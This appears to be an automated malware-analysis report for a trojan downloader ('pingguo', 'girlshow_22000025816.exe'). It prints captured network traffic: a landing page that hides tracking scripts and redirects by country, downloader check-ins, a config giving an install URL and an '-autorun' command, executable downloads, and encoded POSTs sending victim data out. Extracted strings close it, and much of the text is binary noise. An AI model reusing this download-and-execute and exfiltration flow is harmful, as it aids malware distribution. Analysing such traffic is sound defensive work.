.0/" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http:/
/ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photo
shop CS6 (Windows)" xmpMM:InstanceID="xmp.iid:61A6159E331F11E3B5E3B030
4096F3D9" xmpMM:DocumentID="xmp.did:61A6159F331F11E3B5E3B0304096F3D9"&
gt; <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:61A6159C331F11E3B5
E3B0304096F3D9" stRef:documentID="xmp.did:61A6159D331F11E3B5E3B0304096
F3D9"/> </rdf:Description> </rdf:RDF> </x:xmpmeta>
; <?xpacket end="r"?>\.......IDATx.....-iY....VN;.}.....4t....A.
.(0f......U...^..\..".......\.......$.([email protected].>a...^.r.}..j..v:.9..&
gt;]....jU}U...~..&)I..vuY.. )2..6..=X../|.~|.......<.=2.........-B
..v..jL..M..Wm..n.8...K......|.F..:...G1=.#[email protected]. .......'.....
...M..%,[email protected];.\..5D...Q....oWQ,......y..n.Oc..V.....!4..g...6
A...M.&.M....{~B%$.$.r.Y....(...U.*mG.T...j.P.9..S.t=....'A........, H
F..H..Z.U..t..xOv! ...3......z;..\G.1.w...i|..U..1..F.V.....QW.q......
...,..4|..C.....$K..Gg....'^.I./..6....$....r.(S.S.[nO>.6.f....O..0
..... [email protected]$Et.&/.........p..g r<.#x4I3.y..&...#P..#.a.~...
<<< skipped >>>

GET /stat.php?id=5887135&web_id=5887135 HTTP/1.1

Accept: */*

Referer: hXXp://dl.ntfst.cn/tc.html

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: v1.cnzz.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: Tengine

Content-Type: application/javascript

Transfer-Encoding: chunked

Connection: keep-alive

Date: Sun, 26 Apr 2015 22:48:26 GMT

Last-Modified: Sun, 26 Apr 2015 22:48:26 GMT

Cache-Control: max-age=5400,s-maxage=5400

Via: cache42.l2de1[597,200-0,M], cache63.l2de1[597,0], cache9.de1[597,200-0,M], cache10.de1[599,0]

X-Cache: MISS TCP_REFRESH_MISS dirn:6:627323106

X-Swift-SaveTime: Sun, 26 Apr 2015 22:48:26 GMT

X-Swift-CacheTime: 5400
15ae..(function(){function k(){this.c="5887135";this.R="z";this.N="";t
his.K="";this.M="";this.r="1430088506";this.P="oz.cnzz.com";this.L="";
this.u="CNZZDATA" this.c;this.t="_CNZZDbridge_" this.c;this.F="_cnzz_C
V" this.c;this.G="CZ_UUID" this.c;this.v="0";this.A={};this.a={};this.
la()}function g(a,b){try{var c=.[];c.push("siteid=5887135");c.push("na
me=" f(a.name));c.push("msg=" f(a.message));c.push("r=" f(h.referrer))
;c.push("page=" f(e.location.href));c.push("agent=" f(e.navigator.user
Agent));c.push("ex=" f(b));c.push("rnd=" Math.floor(2147483648*Math.ra
ndom()));(new Image).src="hXXp://jserr.cnzz.com/log.php?" c.join("&")}
catch(d){}}var h=document,e=window,f=encodeURIComponent,l=decodeURICom
ponent,n=unescape,p=escape;k.prototype={la:function(){try{this.U(),thi
s.J(),this.ia(),this.H(),this.o(),.this.ga(),this.fa(),this.ja(),this.
j(),this.ea(),this.ha(),this.ka(),this.ca(),this.aa(),this.da(),this.q
a(),e[this.t]=e[this.t]||{},this.ba("_cnzz_CV")}catch(a){g(a,"i failed
")}},oa:function(){try{var a=this;e._czc={push:function(){return a.B.a
pply(a,arguments)}}}catch(b){g(b,"oP failed")}},aa:function(){try{var 
a=e._czc;if("[object Array]"==={}.toString.call(a))for(var b=0;b<a.
length;b  ){var c=a[b];switch(c[0]){case "_setAccount":e._cz_account="
[object String]"==={}.toString.call(c[1])?c[1]:String(c[1]);.break;cas
e "_setAutoPageview":"boolean"===typeof c[1]&&(e._cz_autoPageview=c[1]
)}}}catch(d){g(d,"cS failed")}},qa:function(){try{if("undefined"===typ
eof e._cz_account||e._cz_account===this.c){e._cz_account=this.c;if
<<< skipped >>>

GET /tg_pic/lunbo1.png HTTP/1.1

Accept: */*

User-Agent: Mozilla/4.0 (compatible; MSIE 5.0; Windows NT)

Host: img001.com

Cache-Control: no-cache

HTTP/1.1 200 OK

Server: nginx

Date: Sun, 26 Apr 2015 23:00:05 GMT

Content-Type: image/png

Content-Length: 144211

Last-Modified: Tue, 15 Oct 2013 01:45:40 GMT

Connection: keep-alive

Accept-Ranges: bytes
.PNG........IHDR...D...b.............tEXtSoftware.Adobe ImageReadyq.e&
lt;..."iTXtXML:com.adobe.xmp.....<?xpacket begin="..." id="W5M0MpCe
hiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk=
"Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27        "> &
lt;rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#">
 <rdf:Description rdf:about="" xmlns:xmp="hXXp://ns.adobe.com/xap/1
.0/" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http:/
/ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photo
shop CS6 (Windows)" xmpMM:InstanceID="xmp.iid:593C07D4331F11E38873A3C4
134F6FD5" xmpMM:DocumentID="xmp.did:593C07D5331F11E38873A3C4134F6FD5"&
gt; <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:593C07D2331F11E388
73A3C4134F6FD5" stRef:documentID="xmp.did:593C07D3331F11E38873A3C4134F
6FD5"/> </rdf:Description> </rdf:RDF> </x:xmpmeta>
; <?xpacket end="r"?>....../.IDATx.....eG}.....o.<9.(...F....
 L0.. l0.l..^.5~.k[....~.......k....#......B9..........j._u..g.Ef....(
....s..}o}.............NgQ{........,.YYYYYYYYY ........:...K`eee......
...i1...,.YYYY.v..[..S.q5f..j.....z."6.......V.5...F....j<`/......!
......UW.......mf....^.........[k.....Gde..e.®ee....L`.X.hee..e.....
.~p..q...j..h.q.YYYY ....:m...{..T[....."   ..R.P........XYY ...R".|..
P..e[.$..M./.:5.R...7.q.y.$YYYY [email protected]...
&..........y............P.@.*P T..qc..l...>....{.N..i........X.z...
..k...z.?..*XY.{.R?O........N...R.e.XH..q..8..4M..W.........4.:...
<<< skipped >>>

GET /business/5/pingguo.exe HTTP/1.1

User-Agent: Mozilla/4.0 (compatible; MSIE 5.0; Windows NT)

Range: bytes=3047424-15217760

Host: img001.com

Accept: */*

Cache-Control: no-cache

HTTP/1.1 206 Partial Content

Server: nginx

Date: Sun, 26 Apr 2015 23:00:08 GMT

Content-Type: application/octet-stream

Content-Length: 12170336

Last-Modified: Thu, 11 Dec 2014 11:04:49 GMT

Connection: keep-alive

Content-Range: bytes 3047424-15217759/15217760
a..2...`....rg=.............O..'..../A........CW......v...S...t...7...
.....Ouq.Yt&...Jh.B,.<...|.,...g....,....S........}.M...V!..\..._1v
c....BQV..n...k........(-.K....hZ... [email protected].
.f...N#..6h..zVG.\...........X..S............u....G...|... $.{@.5..f.7
.]f.[!...FO!|.....q.....n)..O..8QV5F7.7....)I. ;b)*Y...D.&..d...n;....
......J..ruUz...g..!?.t.......T....l.oA.F&.J.j,..P(.\....[.4..2.. \z.e
.1../....Z......7....Q..G.....iI.q.f..\VU..z.6!..H..YC{oY......;...|8.
...Fw .....lp?..J|...._......&rr .....4.2J.."N.:.q......O.G..]q..|....
Y.H....(../"TG...,q.A.G....h,.S.T.Y.-...C......`.....PdR.7..o.......Os
.D........v.a...Hr..W......E..pe....?.....L...n..*.....Hg..):A*.q...OV
a*...k.y.......\I...`. ...DF.D.G.......Q5..ao.....X_.............S...W
....^E$..\g"...........jT'.VU......;.......i....q3.2%F.@...=^[email protected]
.xKDUXl...F..}C>...E}........ .JZ......4t*.pD.......?v. .....Gp..#2
Fd...V.<.3.Y*..t.B.59s._I..u..;#...W%..._=..#.Yg....!6...>@.5..W
.<wU....n.e.......k....O..........{.....&".V...8\.l...N....(3..,&".
0.S)... ....'=.=.....Q......n^.x.A . ..#x...$B...V....Sb.k..Hg2..b...n
....w."..(P."._.h........}[email protected]..._.b..<..I.f.....G.
../...._&.....tc#.1..m...eLu..../...Z!rH..T{.D.Y@}Ji...2..H.l&/v..r.s.
. }.>H.V......"[email protected].&W`...X.............|s.T..8
.....,.....7A...>t.,.1..x......v..b......G...{..?.pDEr...j..Q....b.
.LV...'..{.K.K..p......:.,...S....T....d .....y..y... o.'.MF.....H.Y..
....o....J..`..D.. ....T..!.A.n.le......!.J.j........1....j..^.'..
<<< skipped >>>

GET /downloader/start?dlver=G1.0.0&pname=pingguo&pver=32&cmdtype=1&cmdid=22000025816&ad=0&oemid=0&fromurl=&webid=badu_13034453_1430087393 HTTP/1.1

Accept: */*

User-Agent: Mozilla/4.0 (compatible; MSIE 5.0; Windows NT)

Host: cj.pingguo55.com

Cache-Control: no-cache

HTTP/1.1 200 OK

Server: nginx

Date: Sun, 26 Apr 2015 22:53:41 GMT

Content-Length: 0

Connection: keep-alive

Set-Cookie: GUAGUAACOUNTID=1529c340417d464ea511292d0f625da0; domain=pingguo55.com; path=/; expires=Wed, 20-Apr-2016 22:52:50 GMT
....


GET /downloader/startdown?dlver=G1.0.0&pname=pingguo&pver=32&cmdtype=1&cmdid=22000025816&ad=0&oemid=0&fromurl=&webid=badu_13034453_1430087393 HTTP/1.1

Accept: */*

User-Agent: Mozilla/4.0 (compatible; MSIE 5.0; Windows NT)

Host: cj.pingguo55.com

Cache-Control: no-cache

Cookie: GUAGUAACOUNTID=1529c340417d464ea511292d0f625da0

HTTP/1.1 200 OK

Server: nginx

Date: Sun, 26 Apr 2015 22:53:41 GMT

Content-Length: 0

Connection: keep-alive
HTTP/1.1 200 OK..Server: nginx..Date: Sun, 26 Apr 2015 22:53:41 GMT..C
ontent-Length: 0..Connection: keep-alive..

GET /downcontainer/downLoad.do HTTP/1.1

Accept: */*

User-Agent: Mozilla/4.0 (compatible; MSIE 5.0; Windows NT)

Host: downloader.re58.cn

Cache-Control: no-cache

Cookie: rec_id=1:22000025816:0; HMAFROMURL=; GUAGUAACOUNTID=badu_13034453_1430087393

HTTP/1.1 200 OK

Date: Sun, 26 Apr 2015 22:48:35 GMT

Server: Resin/3.1.10

Content-Type: text/html; charset=UTF-8

Transfer-Encoding: chunked

X-Via: 1.1 kf50:10 (Cdn Cache Server V2.0)

Connection: keep-alive
02df..<?xml version='1.0' encoding='UTF-8'?><setup><pro
duct id='2' oemId='0' name='qixi55' companyName='......' productFullNa
me='..................' version='3.2' /><product id='4' oemId='0
' name='qiji55' companyName='......' productFullName='................
..' version='3.2' /><product id='5' oemId='0' name='juxing55' co
mpanyName='......' productFullName='..................' version='3.2' 
/><product id='6' oemId='0' name='pingguo55' companyName='......
' productFullName='..................' version='3.2' /><product 
id='7' oemId='0' name='caihong55' companyName='......' productFullName
='..................' version='3.2' /><product id='8' oemId='0' 
name='guagua' companyName='......' productFullName='......' version='6
.2.3' /></setup>..0......


GET /downcontainer/downLoadInfo.do?oemID=0&recid=22000025816 HTTP/1.1

Accept: */*

User-Agent: Mozilla/4.0 (compatible; MSIE 5.0; Windows NT)

Host: downloader.re58.cn

Cache-Control: no-cache

Cookie: rec_id=1:22000025816:0; HMAFROMURL=; GUAGUAACOUNTID=badu_13034453_1430087393

HTTP/1.1 200 OK

Date: Sun, 26 Apr 2015 22:48:35 GMT

Server: Resin/3.1.10

Transfer-Encoding: chunked

X-Via: 1.1 kf50:10 (Cdn Cache Server V2.0)

Connection: keep-alive
03ae..<?xml version='1.0' encoding='UTF-8'?><setup productId=
'6' oemId='0' productName='pingguo55' companyName='......' productFull
Name='..................' displayName='...............................
..' version='3.2' licenseUrl='hXXp://VVV.pingguo55.com/service/1954.ht
ml?id=1954&cid=1' installUrl='hXXp://img001.com/business/5/pingguo
.exe' installUrl2='null' execute='pingguo55.exe -autorun'><homeP
age displayName='name' url='url' status='0'/><lastimage url='htt
p://img001.com/tg_pic/mobo.png'/><image url='hXXp://img001.com/t
g_pic/lunbo1.png'/><image url='hXXp://img001.com/tg_pic/lunbo2.p
ng'/><image url='hXXp://img001.com/tg_pic/lunbo3.png'/><re
pt url='hXXp://cj.pingguo55.com/downloader/' productName='pingguo' ver
sion='32'/><recommendsetup name='name'  url='url' status='0'/>
;<recommendsetup name='name'  url='url' status='0'/><recommen
dsetup name='name'  url='url' status='0'/><recommendsetup name='
name'  url='url' status='0'/></setup>..0..

GET /9.gif?abc=1&rnd=1462919078 HTTP/1.1

Accept: */*

Referer: hXXp://dl.ntfst.cn/tc.html

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: cnzz.mmstat.com

Connection: Keep-Alive

HTTP/1.1 302 Found

Server: Tengine

Date: Sun, 26 Apr 2015 22:48:28 GMT

Content-Type: image/gif

Content-Length: 43

Connection: keep-alive

P3P: CP="NOI DSP COR CURa ADMa DEVa PSAa PSDa OUR IND UNI PUR NAV"

Set-Cookie: cna=PFnEDULM8goCAcGK9OdbedDL; expires=Wed, 23-Apr-25 22:48:28 GMT; path=/; domain=.mmstat.com

Set-Cookie: sca=992f74ca; path=/; domain=.cnzz.mmstat.com

Set-Cookie: atpsida=c37835c3c610c88d0b49cb8d_1430088508; expires=Wed, 23-Apr-25 22:48:28 GMT; path=/; domain=.cnzz.mmstat.com

Location: hXXp://pcookie.cnzz.com/app.gif?&cna=PFnEDULM8goCAcGK9OdbedDL

Expires: Thu, 01 Jan 1970 00:00:01 GMT

Cache-Control: no-cache

Pragma: no-cache
GIF89a.............!.......,...........L..;HTTP/1.1 302 Found..Server:
 Tengine..Date: Sun, 26 Apr 2015 22:48:28 GMT..Content-Type: image/gif
..Content-Length: 43..Connection: keep-alive..P3P: CP="NOI DSP COR CUR
a ADMa DEVa PSAa PSDa OUR IND UNI PUR NAV"..Set-Cookie: cna=PFnEDULM8g
oCAcGK9OdbedDL; expires=Wed, 23-Apr-25 22:48:28 GMT; path=/; domain=.m
mstat.com..Set-Cookie: sca=992f74ca; path=/; domain=.cnzz.mmstat.com..
Set-Cookie: atpsida=c37835c3c610c88d0b49cb8d_1430088508; expires=Wed, 
23-Apr-25 22:48:28 GMT; path=/; domain=.cnzz.mmstat.com..Location: htt
p://pcookie.cnzz.com/app.gif?&cna=PFnEDULM8goCAcGK9OdbedDL..Expires: T
hu, 01 Jan 1970 00:00:01 GMT..Cache-Control: no-cache..Pragma: no-cach
e..GIF89a.............!.......,...........L..;..

GET /stat.htm?id=5887135&r=&lg=en-us&ntime=none&cnzz_eid=1987065364-1430088506-&showp=1276x846&t=&h=1&rnd=1967005646 HTTP/1.1

Accept: */*

Referer: hXXp://dl.ntfst.cn/tc.html

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: oz.cnzz.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: Tengine/1.4.6

Date: Sun, 26 Apr 2015 22:48:27 GMT

Content-Type: image/gif

Content-Length: 43

Last-Modified: Mon, 09 Mar 2015 09:01:02 GMT

Connection: close

Accept-Ranges: bytes
GIF89a.............!.......,...........D..;..

GET /re58/girlshow_22000025816.exe HTTP/1.1

Accept: */*

Connection: Keep-Alive

Cache-Control: no-cache

Host: c.img001.com

HTTP/1.1 200 OK

Server: DnionOS/1.2.1.3

Date: Fri, 24 Apr 2015 20:00:27 GMT

Content-Type: application/octet-stream

Content-Length: 1060312

Last-Modified: Fri, 24 Apr 2015 02:29:07 GMT

Accept-Ranges: bytes

Age: 205288

Via: ZJHZ-235-125 (DLC-3.0), fjpt_255_204 (DLC-3.0)

Connection: keep-alive

Warning: 113 DLC-3.0 
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$........J... ... ..
. ...#... ..j#... ....... ...#... ..j#... ... ...)...'... ...'..J ...'
..r ... ... ...'... ..Rich. ..................PE..L.....8U............
.........`....................@..........................`............
......................................@...............................
........................................H...................H...@.....
...............text...3........................... ..`.rdata...>...
....@..................@[email protected][email protected]...@[email protected]
rc................p..............@..@.................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
..................................................................
<<< skipped >>>

POST /Count/Index HTTP/1.1

Content-Type: application/x-www-form-urlencoded

User-Agent: your app agent name

Host: newplay.aliapp.com

Content-Length: 791

Cache-Control: no-cache

count=r0ry7WeHxTcfTfa3kI0AWLJL6USqnfnJtyYJqdFCy4tL2z/MmAfScDkaSQKJBbCQLVQSyMBdNmWKQSCpyWRRXWEQJreN1l6HfJJOKROTq/ wGL/keHyHCcAsG3kJUWofQtuUr8KTMzsr2mZ8SSBVQF1Wk/1CYgDEm9hBEKQ1lRnb0m76vOnVNbAEUHc7wKlkhodCoDqpjcdYIAjW90xnSB/Hf mIzymlAsSBuecVGCxo21Zk4xVotuIA5tQe69LcBE5SFTqXZfZS5VjoippXFxvJ84JwZFrN/f4gmt0 R7B/H2t0Rf1D6Wn7L0xlQfew8obduXaY2Kg=&key=OInvVe n19Vw4MzgtIfoo0hPeGsR fl5VginVA Ylwy5Gq0x2gifmKiLMFB5GUaR8L3Mt2lvQjW3PlMvJ1NZFUuVp0neOp5gowFTH SZv68iiJnmXVIsxa5YC3shyKqPGJz3mjZTDY3mSlJh8welFdh5Ef4ZAg2HRMQPfveMTFTfyhp/vn1woStTgQ3uEpZRBEEHe7XnGotHOgXqwW9PF9nttmHV48c80czVAVqXlZw0YUZ1Ihk4hYpRASiIadxNrdoubWfAZGadKJO92aWPz9e0 PhpurdMEBPG4fZDsE8R6r5M9NOokrXxIxf12xd3VzLLzuLSrTnrrbW8KsO0sJucI5g6/r4Bdrxyrs7RKb3NDBHcdbY5GQYnE6xf71J7HdUBSS59r5ROtWJOycRaBbD3TN8v3U90dpH5Cpgzu2dHba89yU3oOeEtgE nsr5y
HTTP/1.1 200 OK

Server: Tengine

Date: Sun, 26 Apr 2015 22:48:21 GMT

Content-Type: text/html

Transfer-Encoding: chunked

Connection: keep-alive

Vary: Accept-Encoding

Vary: Accept-Encoding

Set-Cookie: acesid=mno6o4alsqnljvf4nr0m542ef6; path=/

Expires: Thu, 19 Nov 1981 08:52:00 GMT

Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0

Pragma: no-cache
0..HTTP/1.1 200 OK..Server: Tengine..Date: Sun, 26 Apr 2015 22:48:21 G
MT..Content-Type: text/html..Transfer-Encoding: chunked..Connection: k
eep-alive..Vary: Accept-Encoding..Vary: Accept-Encoding..Set-Cookie: a
cesid=mno6o4alsqnljvf4nr0m542ef6; path=/..Expires: Thu, 19 Nov 1981 08
:52:00 GMT..Cache-Control: no-store, no-cache, must-revalidate, post-c
heck=0, pre-check=0..Pragma: no-cache..0......


POST /Count/Index/soft/ HTTP/1.1

Content-Type: application/x-www-form-urlencoded

User-Agent: your app agent name

Host: newplay.aliapp.com

Content-Length: 87

Cache-Control: no-cache

Cookie: acesid=mno6o4alsqnljvf4nr0m542ef6

soft=b4CWjRM1OPo=&uuid=G QYNwPHiC92o5YCvH5 OSldvWVuAPX1WD9dSFOm0JnAe95n5yCw/GdLrnV/XwON
HTTP/1.1 200 OK

Server: Tengine

Date: Sun, 26 Apr 2015 22:48:33 GMT

Content-Type: text/html

Transfer-Encoding: chunked

Connection: keep-alive

Vary: Accept-Encoding

Vary: Accept-Encoding

Expires: Thu, 19 Nov 1981 08:52:00 GMT

Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0

Pragma: no-cache
0..HTTP/1.1 200 OK..Server: Tengine..Date: Sun, 26 Apr 2015 22:48:33 G
MT..Content-Type: text/html..Transfer-Encoding: chunked..Connection: k
eep-alive..Vary: Accept-Encoding..Vary: Accept-Encoding..Expires: Thu,
 19 Nov 1981 08:52:00 GMT..Cache-Control: no-store, no-cache, must-rev
alidate, post-check=0, pre-check=0..Pragma: no-cache..0..

GET /iplookup/iplookup.php?format=js HTTP/1.1

Accept: */*

Referer: hXXp://dl.ntfst.cn/tc.html

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: int.dpool.sina.com.cn

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: Tengine

Date: Sun, 26 Apr 2015 22:48:28 GMT

Content-Type: text/html; charset=utf-8

Content-Length: 175

Connection: close

DPOOL_HEADER: tyr105

SINA-LB:aGEuMTIzLmcyLnlmLmxiLnNpbmFub2RlLmNvbQ==

SINA-TS:OThmMjk2Y2UgMCAwIDAgMyAwCg==
var remote_ip_info = {"ret":1,"start":-1,"end":-1,"country":"\u4e4c\u5
14b\u5170","province":"Kharkivs'ka Oblast'","city":"Kharkov","district
":"","isp":"","type":"","desc":""};..

GET /core.php?web_id=5887135&t=z HTTP/1.1

Accept: */*

Referer: hXXp://dl.ntfst.cn/tc.html

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: c.cnzz.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: Tengine

Content-Type: application/javascript

Content-Length: 748

Connection: keep-alive

Date: Sun, 26 Apr 2015 22:48:27 GMT

Last-Modified: Sun, 26 Apr 2015 22:48:27 GMT

Expires: Sun, 26 Apr 2015 23:03:27 GMT

Via: cache36.l2de1[568,200-0,M], cache44.l2de1[580,0], cache10.de1[580,200-0,M], cache4.de1[581,0]

X-Cache: MISS TCP_REFRESH_MISS dirn:2:403028701

X-Swift-SaveTime: Sun, 26 Apr 2015 22:48:27 GMT

X-Swift-CacheTime: 900
!function(){var p,q,r,a=encodeURIComponent,b="5887135",c="",d="",e="on
line_v3.php",f="z6.cnzz.com",g="1",h="text",i="z",j="站长&
#32479;计",k=window["_CNZZDbridge_" b].bobject,l="http:",m="0",n
=l "//online.cnzz.com/online/" e,o=[];o.push("id=" b),o.push("h=" f),o
.push("on=" a(d)),o.push("s=" a(c)),n ="?" o.join("&"),"0"===m&&k.call
Request([l "//cnzz.mmstat.com/9.gif?abc=1"]),g&&(""!==d?k.createScript
Icon(n,"utf-8"):(q="z"==i?"hXXp://VVV.cnzz.com/stat/website.php?web_id
=" b:"hXXp://quanjing.cnzz.com","pic"===h?(r=l "//icon.cnzz.com/img/" 
c ".gif",p="<a href='" q "' target=_blank title='" j "'><img 
border=0 hspace=0 vspace=0 src='" r "'></a>"):p="<a href='
" q "' target=_blank title='" j "'>" j "</a>",k.createIcon([p
])))}();HTTP/1.1 200 OK..Server: Tengine..Content-Type: application/ja
vascript..Content-Length: 748..Connection: keep-alive..Date: Sun, 26 A
pr 2015 22:48:27 GMT..Last-Modified: Sun, 26 Apr 2015 22:48:27 GMT..Ex
pires: Sun, 26 Apr 2015 23:03:27 GMT..Via: cache36.l2de1[568,200-0,M],
 cache44.l2de1[580,0], cache10.de1[580,200-0,M], cache4.de1[581,0]..X-
Cache: MISS TCP_REFRESH_MISS dirn:2:403028701..X-Swift-SaveTime: Sun, 
26 Apr 2015 22:48:27 GMT..X-Swift-CacheTime: 900..!function(){var p,q,
r,a=encodeURIComponent,b="5887135",c="",d="",e="online_v3.php",f="z6.c
nzz.com",g="1",h="text",i="z",j="站长统计",k=w
indow["_CNZZDbridge_" b].bobject,l="http:",m="0",n=l "//online.cnzz.co
m/online/" e,o=[];o.push("id=" b),o.push("h=" f),o.push("on=" a(d)
<<< skipped >>>

GET /tc.html HTTP/1.1

Accept: */*

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: dl.ntfst.cn

Connection: Keep-Alive

HTTP/1.1 200 OK

Date: Sun, 26 Apr 2015 04:59:37 GMT

Server: nginx/1.4.4

Content-Type: text/html

Content-Length: 573

Accept-Ranges: bytes

Access-Control-Allow-Origin: *

Access-Control-Max-Age: 2592000

Cache-Control: public, max-age=31536000

Content-Disposition: inline; filename="tc.html"

Content-Transfer-Encoding: binary

ETag: "FuGzggHDk-tmrBs8MwFGUiOt7X_F"

X-Log: mc.g/404;mc.g:2;RS:2;mc.s;IO:4

X-Reqid: bnQAADuR_XVKUNYT

X-Whom: nb263

X-Qiniu-Zone: 0

Age: 64128

X-Via: 1.1 tzh62:8080 (Cdn Cache Server V2.0), 1.1 sxdx59:3 (Cdn Cache Server V2.0)

Connection: keep-alive
<div style="display:none">..<script src="hXXp://v1.cnzz.com/s
tat.php?id=5887135&web_id=5887135" language="JavaScript"></scrip
t>..<script language="javascript" type="text/javascript" src="ht
tp://js.users.51.la/17440728.js"></script>..</div>.. &l
t;script src="hXXp://int.dpool.sina.com.cn/iplookup/iplookup.php?forma
t=js" type="text/javascript" charset=gb2312></script> .. <
script>var gj=remote_ip_info["country"];if(gj.indexOf("\u4e2d\u56fd
")>=0){document.writeln("<meta http-equiv=\"refresh\" content=\"
0;url=hXXp://VVV.51weibo.com/tg/1.html?from=60001120223\">");}</
script>..HTTP/1.1 200 OK..Date: Sun, 26 Apr 2015 04:59:37 GMT..Serv
er: nginx/1.4.4..Content-Type: text/html..Content-Length: 573..Accept-
Ranges: bytes..Access-Control-Allow-Origin: *..Access-Control-Max-Age:
 2592000..Cache-Control: public, max-age=31536000..Content-Disposition
: inline; filename="tc.html"..Content-Transfer-Encoding: binary..ETag:
 "FuGzggHDk-tmrBs8MwFGUiOt7X_F"..X-Log: mc.g/404;mc.g:2;RS:2;mc.s;IO:4
..X-Reqid: bnQAADuR_XVKUNYT..X-Whom: nb263..X-Qiniu-Zone: 0..Age: 6412
8..X-Via: 1.1 tzh62:8080 (Cdn Cache Server V2.0), 1.1 sxdx59:3 (Cdn Ca
che Server V2.0)..Connection: keep-alive..<div style="display:none"
>..<script src="hXXp://v1.cnzz.com/stat.php?id=5887135&web_id=58
87135" language="JavaScript"></script>..<script language="
javascript" type="text/javascript" src="hXXp://js.users.51.la/17440728
.js"></script>..</div>.. <script src="hXXp://int
<<< skipped >>>

GET /c/girlshow_22000025816.exe HTTP/1.1

Accept: */*

Host: download.re58.cn

Cache-Control: no-cache

HTTP/1.1 302 Moved Temporarily

Date: Sun, 26 Apr 2015 22:48:26 GMT

Server: nginx

Content-Type: application/octet-stream

Content-Length: 0

P3P: CP="CURa ADMa DEVa PSAo PSDo OUR BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR"

Content-Disposition: attachment;filename="girlshow_22000025816.exe"

Location: hXXp://c.img001.com/re58/girlshow_22000025816.exe

Set-Cookie: rec_id=1:22000025816:0; domain=re58.cn; path=/; expires=Tue, 28-Apr-2015 22:29:52 GMT

Set-Cookie: HMAFROMURL=; domain=re58.cn; path=/; expires=Tue, 28-Apr-2015 22:29:52 GMT

Set-Cookie: GUAGUAACOUNTID=badu_13034453_1430087393; domain=re58.cn; path=/; expires=Tue, 28-Apr-2015 22:29:52 GMT

X-Via: 1.1 zhenjiang79:8109 (Cdn Cache Server V2.0), 1.1 kf50:9 (Cdn Cache Server V2.0)

Connection: keep-alive
HTTP/1.1 302 Moved Temporarily..Date: Sun, 26 Apr 2015 22:48:26 GMT..S
erver: nginx..Content-Type: application/octet-stream..Content-Length: 
0..P3P: CP="CURa ADMa DEVa PSAo PSDo OUR BUS UNI PUR INT DEM STA PRE C
OM NAV OTC NOI DSP COR"..Content-Disposition: attachment;filename="gir
lshow_22000025816.exe"..Location: hXXp://c.img001.com/re58/girlshow_22
000025816.exe..Set-Cookie: rec_id=1:22000025816:0; domain=re58.cn; pat
h=/; expires=Tue, 28-Apr-2015 22:29:52 GMT..Set-Cookie: HMAFROMURL=; d
omain=re58.cn; path=/; expires=Tue, 28-Apr-2015 22:29:52 GMT..Set-Cook
ie: GUAGUAACOUNTID=badu_13034453_1430087393; domain=re58.cn; path=/; e
xpires=Tue, 28-Apr-2015 22:29:52 GMT..X-Via: 1.1 zhenjiang79:8109 (Cdn
 Cache Server V2.0), 1.1 kf50:9 (Cdn Cache Server V2.0)..Connection: k
eep-alive..
<<< skipped >>>

The Trojan connects to the servers at the folowing location(s):

.text

`.rdata

@.data

.rsrc

MFC42.DLL

MSVCRT.dll

_acmdln

WinExec

KERNEL32.dll

USER32.dll

RegCloseKey

RegOpenKeyExA

ADVAPI32.dll

ShellExecuteA

SHELL32.dll

MSVCP60.dll

NETAPI32.dll

HttpQueryInfoA

InternetOpenUrlA

WININET.dll

127.0.0.1

%s?%d

%s\%s

Content-Type: application/x-www-form-urlencoded

X-X-X-X-X-X

Windows 10

Windows 8.1

Windows 8

Windows 7

Windows Vista

Windows 2003

Windows XP

Windows 2000

&key=

%d%d%d%d%d%d%d%d%d

%Y%m%d%H%M%S

z.ico

